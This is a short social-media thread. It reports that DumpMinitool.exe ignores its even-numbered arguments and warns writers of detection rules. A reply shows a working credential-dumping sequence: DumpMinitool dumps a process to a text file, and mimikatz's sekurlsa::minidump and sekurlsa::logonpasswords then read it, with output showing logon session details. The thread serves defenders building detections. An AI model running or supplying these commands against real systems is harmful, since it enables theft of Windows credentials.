


←

Post




mr.d0x

@mrd0x

...

Turns out args: 0,2,4 are useless and can be literally anything as long as args 1,3,5 are valid. Watch out for this if you're writing detection rules.



4A616D6573

@4A616D6573 · Apr 6, 2022

Replying to @4A616D6573 and @mrd0x

Example that works:

./DumpMinitool.exe 1 'dump6.txt' 2 660 3 Full

Dump minitool: Started with arguments 1 dump6.txt 2 660 3 Full...

Show more

mimikatz # sekurlsa::minidump c:\users\user.01\Desktop\dump6.txt

Switch to MINIDUMP : 'c:\users\user.01\Desktop\dump6.txt'

mimikatz # sekurlsa::logonpasswords

Opening : 'c:\users\user.01\Desktop\dump6.txt' file for minidump...

Authentication Id : 0 ; 1508367 (00000000:0017040f)

Session : Interactive from 1

User Name : user.01

Domain : DESKTOP-0CG8I3H

Logon Server : DESKTOP-0CG8I3H

Logon Time : 6/04/2022 7:47:56 AM

SID : S-1-5-21-4019885417-2549205362-2896416111-1002

1:43 AM · Apr 6, 2022

13 Reposts

42 Likes

5 Bookmarks

5

New to X?

Sign up now to get your own personalized timeline!

Sign up with Google

Sign up with Apple

Create account

By signing up, you agree to the [Terms of Service](#) and [Privacy Policy](#), including [Cookie Use](#).

Something went wrong. Try reloading.

↻

Retry

Terms of Service

Privacy Policy

Cookie Policy

Accessibility

Ads info

More ...

© 2024 X Corp.

Don't miss what's happening

People on X are the first to know.

Log in

Sign up

Welcome to x.com!

We are letting you know that we are changing our URL, but your privacy and data protection settings remain the same.

For more details, see our Privacy Policy: <https://x.com/en/privacy>.

×

Did someone say ... cookies?

X and its partners use cookies to provide you with a better, safer and faster service and to support our business. Some cookies are necessary to use our services, improve our services, and make sure they work properly. [Show more about your choices.](#)

Accept all cookies

Refuse non-essential cookies

Page 1 of 1